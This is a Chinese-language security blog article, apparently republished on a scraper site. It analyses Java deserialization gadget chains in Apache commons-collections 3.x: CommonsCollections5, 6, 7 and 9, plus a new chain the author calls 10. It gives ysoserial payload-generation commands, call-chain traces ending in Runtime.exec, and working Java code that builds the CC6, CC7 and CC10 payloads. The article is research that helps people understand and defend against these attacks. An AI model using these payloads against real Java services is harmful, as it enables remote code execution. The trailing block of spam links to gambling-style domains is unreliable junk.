1. 設為首頁   文化中國網歡迎您~!

          Java反序列化利用鏈分析之CommonsCollections5,6,7,9,10

          0x00 前言

          本文繼續分析CommonsCollections:3.1的相關反序列化利用鏈,這次主要分析CommonsCollections5,6,7,9,以及我找的一個新利用鏈,這里暫且將其稱為10.

          0x01 環境準備

          CommonsCollections5,6,7,10用的還是commons-collections:3.1,jdk用7或8都可以。
          CommonsCollections9適用于3.2.1

          java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "open /System/Applications/Calculator.app" > commonscollections5.ser
          java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 "open /System/Applications/Calculator.app" > commonscollections6.ser
          java -jar ysoserial-master-30099844c6-1.jar CommonsCollections7 "open /System/Applications/Calculator.app" > commonscollections7.ser

          0x02 利用鏈分析

          1. 背景回顧

          前面提到過CommonsCollections1和3在構造AnnotationInvocationHandler時用到了Override.class。但是如果你在jdk8的環境下去載入生成的payload,會發生java.lang.Override missing element entrySet的錯誤。

          這個錯誤的產生原因主要在于jdk8更新了AnnotationInvocationHandler參考

          jdk8不直接調用s.defaultReadObject來填充當前的AnnotaionInvocationHandler實例,而選擇了單獨填充新的變量。

          這里我們回顧一下,1和3的payload的觸發點是LazyMap.get函數,而觸發這個函數需要使得memberValues為LazyMap對象

          顯然,jdk8的操作使得memberValues并不是我們構造好的LazyMap類型。在調試中,可以看到此時的memberValues為LinkedHashMap對象,該對象無法獲得entrySet的內容,所以會報前面的這個錯誤。

          jdk8下CommonsCollections1和3無法成功利用了,但是如果我們可以找到一個替代AnnotationInvocationHandler的利用方式呢?這就是本文要講的CommonsCollections5,6,7所做出的改變。

          2. 重新構造前半部分利用鏈—CommonsCollections5

          CommonsCollections5與1的區別在于AnnotationInvocationHandler,后部分是相同的,所以這里不分析后部分。

          AnnotationInvocationHandler在前面起到的作用是來觸發LazyMap.get函數,所以我們接下來就是要重新找一個可以觸發該函數的對象。這個對象滿足

          • 類可序列化,類屬性有個可控的Map對象或Object
          • 該類的類函數上有調用這個Map.get的地方

          CommonsCollections5在這里用到了TiedMapEntry,來看一下

          TiedMapEntry有一個map類屬性,且在getValue處調用了map.get函數。同時toString、hashCode、equals均調用了getValue函數,這里關注toString函數。

          toString函數通常在與字符串拼接時,會被自動調用。那么接下來我們需要找一個對象滿足

          • 類可序列化,類屬性有個Map.Entry對象或Object
          • 該類會自動調用這個類屬性的toString函數或前面的另外幾種

          這里選擇了BadAttributeValueExpException對象,他的readObject函數會自動調用類屬性的toString函數。

          需要注意的是這里System.getSecurityManager為空,換句話說,就是當前的jvm環境不能啟用安全管理器。

          來看一下一整個調用鏈

          BadAttributeValueExpException.readObject()
          -> valObj.toString() => TiedMapEntry.getValue
          -> TiedMapEntry.map.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          3. 重新構造前半部分利用鏈—CommonsCollections6

          CommonsCollections6是另一種替換方式,后半部分的利用鏈還是沒有變,不作分析。

          我們在2中提到了除了CommonsCollections5用的toString外,還有hashCode和equals函數也調用了getValue函數。那么是否存在調用這兩個函數的對象函數呢?答案是肯定的!

          CommonsCollections6利用了TiedMapEntry的hashCode函數,來觸發LazyMap.get

          我們都知道HashSet集合里不會存在相同的key,那么是如何判斷是否是相同的key呢?這里就要用到key的hashCode函數了,如果key的值相同,其hashCode返回的值也是相同的。這里的HashCode的計算在HashSet的put和add函數完成,并且HashSet從序列化數據中還原出來時會自動調用put函數,這里就給我們提供了可控的地方。

          先來看一下HashSet的readObject函數

          繼續跟put函數,這里其實調用的是HashMap的put函數

          其中對key調用的hash()函數會調用key.hashCode函數,那么現在就很清楚了,我們只要將key的值替換成構造好的TiedMapEntry對象就可以了。注意,這里的key值其實就是HashSet.add的實例,在HashSet里的HashMap類屬性只用到了Key。

          整理一下利用鏈

          HashSet.readObject()
          -> HashMap.put(key) => key.hashCode => TiedMapEntry.hashCode
          -> TiedMapEntry.getValue
          -> TiedMapEntry.map.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          4. 重新構造前半部分利用鏈—CommonsCollections7

          CommonsCollections7用了Hashtable來代替AnnotationInvocationHandler,不同于前面兩種CommonsCollections7并未使用TiredMapEntry,而是用了相同key沖突的方式調用equals來觸發Lazy.get函數。

          先來看一下Hashtable的readObject函數

          繼續跟進reconstitutionPut

          該函數將填充table的內容,其中第1236行僅當有重復數據沖突時,才會進入下面的if語句,這里我們繼續跟進equals函數

          這里的equals函數取決于key的對象,利用鏈用的是LazyMap對象,實際調用的是父類AbstractMapDecorator的equals函數

          這里又調用了map的equals函數,這里實際調用的是HashMap的父類AbstractMap的equals函數

          在第495行調用了m.get函數,所以后面又是我們熟悉的LazyMap.get的套路了。

          整理一下利用鏈

          Hashtable.readObject()
          -> Hashtable.reconstitutionPut
          -> LazyMap.equals => AbstractMapDecorator.equals => AbstractMap.equals
          -> m.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          5. 利用鏈構造

          CommonsCollections6和7的exp構造比較復雜,這里單獨拿出來講一下。

          CommonsCollections6

          經過前面的分析,我們可以知道CommonsCollections6需要將構造好的TiedMapEntry實例添加到HashSet的值上。

          簡單的方法就是直接add

          TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
          HashSet map = new HashSet(1);
          map.add(entry);

          復雜一點,就是ysoserail里的實現方法,采用反射機制來完成

          其思路主要為:

          • 實例化一個HashSet實例
          • 通過反射機制獲取HashSet的map類屬性
          • 通過反射機制獲取HashMap(map類屬性)的table(Node<K,V>)類屬性
          • 通過反射機制獲取Node的key類屬性,并設置該key的值為構造好的TiedMapEntry實例

          具體代碼如下

          HashSet map = new HashSet(1);
          map.add("foo");
          Field f = null;
          try {
          f = HashSet.class.getDeclaredField("map");//獲取HashSet的map Field對象
          } catch (NoSuchFieldException e) {
          f = HashSet.class.getDeclaredField("backingMap");
          }
          Permit.setAccessible(f);// 設置map可被訪問修改
          HashMap innimpl = null;
          innimpl = (HashMap) f.get(map);// 獲取map實例的map類屬性

          Field f2 = null;
          try {
          f2 = HashMap.class.getDeclaredField("table");// 獲取HashMap的 table field
          } catch (NoSuchFieldException e) {
          f2 = HashMap.class.getDeclaredField("elementData");
          }
          Permit.setAccessible(f2);// 設置HashMap的field 可被訪問
          Object[] array = new Object[0];
          array = (Object[]) f2.get(innimpl);
          Object node = array[0];// 獲取Node<k,v>實例
          if(node == null){
          node = array[1];
          }

          Field keyField = null;
          try{
          keyField = node.getClass().getDeclaredField("key");// 獲取Node的key field
          }catch(Exception e){
          keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
          }
          Permit.setAccessible(keyField);// 設置該Field可被訪問修改
          keyField.set(node, entry);// 對node實例填充key的值為TiedMapEntry實例

          經過上面的操作,最終的HashSet實例被我們嵌入了構造好的TiedMapEntry實例。

          這里在調試的過程中,發現用ysoserail的Reflections來簡化exp,出來的結果有點不一樣,還沒有找到具體的原因。如果有師傅遇到過這種問題,歡迎一起討論討論!

          CommonsCollections7

          CommonsCollections利用的是key的hash沖突的方法來觸發equals函數,該函數會調用LazyMap.get函數

          那么構造exp的關鍵就是構造一個hash沖突的LazyMap了。

          這里大家可以跟一下String.hashCode函數,他的計算方法存在不同字符串相同hash的可能性,例如如下代碼

          CommonsCollections7用的就是這個bug來制造hash沖突。

          這里需要提一點的是觸發LazyMap.get函數

          要走到第151行紅框框上,首先需要滿足的是map里不存在當前這個key

          但是明顯在第一次不存在這個key后,會更新map的鍵值,這將導致下次同樣的key進來,就不會觸發后續的payload了。我們在寫exp的時候需要注意到這一點。

          來看一下ysoserial的CommonsCollections7是怎么編寫的!

          Map innerMap1 = new HashMap();
          Map innerMap2 = new HashMap();

          // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
          Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
          lazyMap1.put("yy", 1);

          Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
          lazyMap2.put("zZ", 1);

          // Use the colliding Maps as keys in Hashtable
          Hashtable hashtable = new Hashtable();
          hashtable.put(lazyMap1, 1);
          hashtable.put(lazyMap2, 2);

          Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
          // Needed to ensure hash collision after previous manipulations
          lazyMap2.remove("yy");

          其中第兩次的put會使得會使得LazyMap2中增加了yy這個鍵值,為了保證反序列化后仍然可以觸發后續的利用鏈,這里需要將lazyMap2的yy鍵值remove掉。

          6. 構造新CommonsCollections10

          經過對前面1,3,5,6,7的分析,我們其實可以發現很多payload都是“雜交”的成果。那么我們是否能根據前面的分析,構造出一個新的CommonsCollections的payload呢?答案當然是肯定的,接下來講一下我找到的一個新payload利用。

          這個payload為CommonsCollections6和7的結合,同CommonsCollections6類似,這里也用到了TiedMapEntry的hashCode函數

          我們在分析Hashtable的reconstitutionPut函數時,看下圖

          該函數在第1234行對key調用了一次hashCode函數,那么很明顯,如果key值被代替為構造好的TiedMapEntry實例,這里我們就能觸發LazyMap.get函數,后續的調用鏈就類似了。

          整理一下利用鏈

          Hashtable.readObject()
          -> Hashtable.reconstitutionPut
          -> key.hashCode() => TiedMapEntry.hashCode()
          -> TiedMapEntry.getValue
          -> TiedMapEntry.map.get() => LazyMap.get()
          -> factory.transform() => ChainedTransformer.transform()
          -> 前文構造的Runtime.getRuntime().exec()

          其實從利用鏈來看,與CommonsCollections6的區別在于前部的觸發使用了不同的對象。

          接下來,結合第5點的學習,我們來寫一下這個payload的利用鏈exp

          final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

          final Map innerMap = new HashMap();
          final Map innerMap2 = new HashMap();

          final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

          TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
          Hashtable hashtable = new Hashtable();
          hashtable.put("foo",1);
          // 獲取hashtable的table類屬性
          Field tableField = Hashtable.class.getDeclaredField("table");
          Permit.setAccessible(tableField);
          Object[] table = (Object[])tableField.get(hashtable);
          Object entry1 = table[0];
          if(entry1==null)
          entry1 = table[1];
          // 獲取Hashtable.Entry的key屬性
          Field keyField = entry1.getClass().getDeclaredField("key");
          Permit.setAccessible(keyField);
          // 將key屬性給替換成構造好的TiedMapEntry實例
          keyField.set(entry1, entry);
          // 填充真正的命令執行代碼
          Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
          return hashtable;

          7. 梅子酒師傅的CommonsCollections9

          找到上面CommonsCollections10時,在網上找了一下有沒有師傅已經挖到過了,一共找到下面幾位師傅

          • https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java
          • https://github.com/frohoff/ysoserial/pull/125/commits/4edf02ba7765488cac124c92e04c6aae40da3e5d
          • https://github.com/frohoff/ysoserial/pull/116

          一個一個來說

          1. 第一個Jayl1n師傅做的改變主要是最終的Runtime.getRuntime().exec改成了URLClassLoader.loadClass().newInstance的方式,前面用的還是CommonsCollections6,這里暫時不將其歸類為新的利用鏈。
          2. 第二個是梅子酒師傅提交的CommonsCollections9,主要利用的是CommonsCollections:3.2版本新增的DefaultedMap來代替LazyMap,因為這兩個Map有同樣的get函數可以被利用,這里不再具體分析。
          3. 第三個是navalorenzo師傅提交的CommonsCollections8,其利用鏈基于CommonsCollections:4.0版本,暫時不在本篇文章的分析范圍內,后面會好好分析一下。

          0x03 總結

          聯合前面兩篇文章CommonsCollections1、CommonsCollections3,在加上本文的CommonsCollections5,6,7,9,10。

          由于網上已經有類似的文章做了總結,這里就簡單做一下CommonsCollections<=3.2.1下的反序列化利用鏈的總結。

          • 起始點AnnotationInvocationHandler的readObjectBadAttributeValueExpException的readObjectHashSet的readObjectHashtable的readObject
          • 重要的承接點LazyMap的getDefaultedMap的getTiedMapEntry的getValueProxy的invoke
          • 終點ChainedTransformer的transformInvokerTransformer的transformConstantTransformer的transform

          各exp的jdk適用版本

          1. jdk7 => CommonsCollection1、3
          2. jdk7 & jdk8 => CommonsCollections5,6,7,9,10

          各exp的commons-collections適用版本

          1. commons-collections<=3.1 CommonsCollections1,3,5,6,7,10
          2. commons-collections<=3.2.1 CommonsCollections1,3,5,6,7,9,10

          最后的最后,commons-collections:3.x版本的反序列化利用鏈就分析到這里,其實我相信如果想繼續挖可代替的利用鏈還是會有的,就像本文挖到的CommonsCollections10,如果各位師傅有興趣可以繼續挖下去,也歡迎和各位師傅一起交流。

          后續還會把commons-collections:4版本的利用鏈做一個分析,歡迎一起交流:)

          commons-collections:3.2.2及以上版本的改變

          前面的分析并沒有提到3.2.2版本發生了啥事,導致了利用鏈的失效,這里簡單提一下

          3.2.2版本對InvokerTransformer增加了readObject函數,并且做了是否允許反序列化的檢查,在FunctorUtils.checkUnsafeSerialization函數內。

          這里UNSAFE_SERIALIZABLE_PROPERTY的值默認為false,如果需要為true,需要在運行時指定。

          所以在使用InvokerTransformer作為反序列化利用鏈的一部分時,會throw一個exception。除了InvokerTransformer類外,還有CloneTransformer, ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer,
          PrototypeCloneFactory, PrototypeSerializationFactory, WhileClosure。所以在3.2.2版本以上,基本上利用鏈都已經廢了。

          當然,這種方法治標不治本,如果可以在這些類以外,構造一個利用鏈同樣可以達到前面的效果。

          推薦閱讀:掌閱課外書
          好运来 www.zuluanimazione.com:建平县| www.mayaramegiolaro.com:交口县| www.suqinwood.com:丰原市| www.accwangxiao.com:嘉善县| www.thejoyryders.com:东源县| www.istanbulzemin.net:北碚区| www.uberdrivingparttime.com:西吉县| www.carakesehatan.com:澄城县| www.ccequinephotography.com:且末县| www.capsule-toys-hk.com:武隆县| www.truboot.com:肥东县| www.bajukerenku.com:石林| www.paletteblog.com:凯里市| www.hazoheng.com:敦化市| www.luckysundays.com:凌海市| www.906765.com:满洲里市| www.lakelinen.com:黄平县| www.shreesuryawood.com:桑日县| www.cdhdlgs.com:阿尔山市| www.alamtareque.com:蛟河市| www.cp9396.com:泽州县| www.lixiaoqiu.com:宁国市| www.jstlhg.com:额济纳旗| www.rcybgg.com:积石山| www.hugoli.com:新乡县| www.maltavizesi.net:封丘县| www.knightsvisual.com:灵璧县| www.auto-exclusive67.com:山东省| www.cldmart.com:手机| www.iamreviewing.com:通道| www.royaltyaffairs.com:平远县| www.bethesdauk.com:太保市| www.jiechangjs.com:杨浦区| www.drugs-rx.com:陇西县| www.megahjayatenda.com:顺昌县| www.chinazstv.com:元谋县| www.gyjjzz.com:黄浦区| www.sinchua.com:成都市| www.satext.com:南岸区| www.fifth-wheels.com:志丹县| www.coulsounds.com:高平市| www.uearbitrage.com:利川市| www.hg89456.com:阳新县| www.zsgaori.com:赫章县| www.axshiye.com:桐梓县| www.myfitdays.com:灯塔市| www.ldc-ci.com:梓潼县| www.chmyl.com:绥宁县| www.wrennak.com:盐城市| www.n9bx.com:泾阳县| www.cgkdw.cn:惠东县| www.eamff.com:红安县| www.youb555.com:长治县| www.bostonwhale.com:眉山市| www.mueryoubabing.com:通许县| www.qyjmgg.com:平昌县| www.rentiyishu123.com:上杭县| www.had-printing.com:鹤庆县| www.binggankong.com:江城| www.surfaudiovideo.com:南靖县| www.catsltd-ng.net:湘潭县| www.mark500.com:临沭县| www.51pag.com:邹城市| www.www4044v.com:黄冈市| www.bcsdi.com:南安市| www.sci-papers.org:海伦市| www.199bongo.com:鲜城| www.932361.com:四川省| www.yctcg.cn:泽州县| www.ppmss.com:北碚区| www.newvilleoutdoor.com:铜川市| www.hg79678.com:邓州市| www.everyounggroup.com:泰兴市| www.chadathaihouse.com:新乐市| www.www-wwwcom.com:叙永县| www.matiastroncoso.com:桑植县| www.youthsportsfinder.com:仙游县| www.gxunx.com:荥阳市| www.zxrmq.com:文昌市| www.21ahdns.com:玛纳斯县| www.superonlline.com:长寿区| www.lowlf.com:泸定县| www.itosee.com:乡城县| www.sh-ble.com:新密市|